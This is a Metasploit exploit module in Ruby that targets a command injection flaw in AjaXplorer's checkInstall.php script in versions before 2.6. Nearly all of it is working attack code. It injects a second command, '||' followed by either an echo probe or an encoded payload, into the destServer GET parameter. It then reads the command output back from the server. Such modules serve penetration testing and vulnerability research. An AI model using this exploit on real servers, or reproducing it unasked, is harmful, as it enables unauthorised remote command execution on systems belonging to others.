AjaXplorer checkInstall.php Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'AjaXplorer checkInstall.php Remote Command Execution',
        'Description' => %q{
          This module exploits an arbitrary command execution vulnerability in the
          AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to
          2.6 are vulnerable.
        },
        'Author' => [
          'Julien Cayssol', # Credited according to SecurityFocus
          'David Maciejak',  # Metasploit module
          'sinn3r'           # Final touch on the Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2010-10013' ],
          [ 'OSVDB', '63552' ],
          [ 'BID', '39334' ]
        ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Space' => 512,
          'Compat' =>
                        {
                          'ConnectionType' => 'find',
                          'PayloadType' => 'cmd',
                          'RequiredCmd' => 'generic perl ruby python telnet'
                        }
        },
        'Platform' => %w{bsd linux osx unix win},
        'Arch' => ARCH_CMD,
        'Targets' => [[ 'AjaXplorer 2.5.5 or older', {}]],
        'DisclosureDate' => '2010-04-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to AjaXplorer', '/AjaXplorer-2.5.5/'])
      ]
    )
  end

  def check
    uri = target_uri.path
    uri << '/' if uri[-1, 1] != '/'
    clue = Rex::Text::rand_text_alpha(rand(5) + 5)

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'plugins/access.ssh/checkInstall.php'),
      'vars_get' => {
        'destServer' => "||echo #{clue}"
      }
    })

    # If the server doesn't return the default redirection, probably something is wrong
    if res and res.code == 200 and res.body =~ /#{clue}/
      return Exploit::CheckCode::Vulnerable('Successfully verified remote command execution')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    peer = "#{rhost}:#{rport}"
    uri = target_uri.path

    # Trigger the command execution bug
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, "plugins/access.ssh/checkInstall.php"),
      'vars_get' =>
        {
          'destServer' => "||#{payload.encoded}"
        }
    })

    if res
      print_status("The server returned: #{res.code} #{res.message}")
      m = res.body.scan(/Received output:\s\[([^\]]+)\]/).flatten[0] || ''

      if m.empty?
        print_error("This server may not be vulnerable")
      else
        print_status("Command output from the server:")
        print_line(m)
      end
    end
  end
end

=begin
Repo:
http://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/2.6/
=end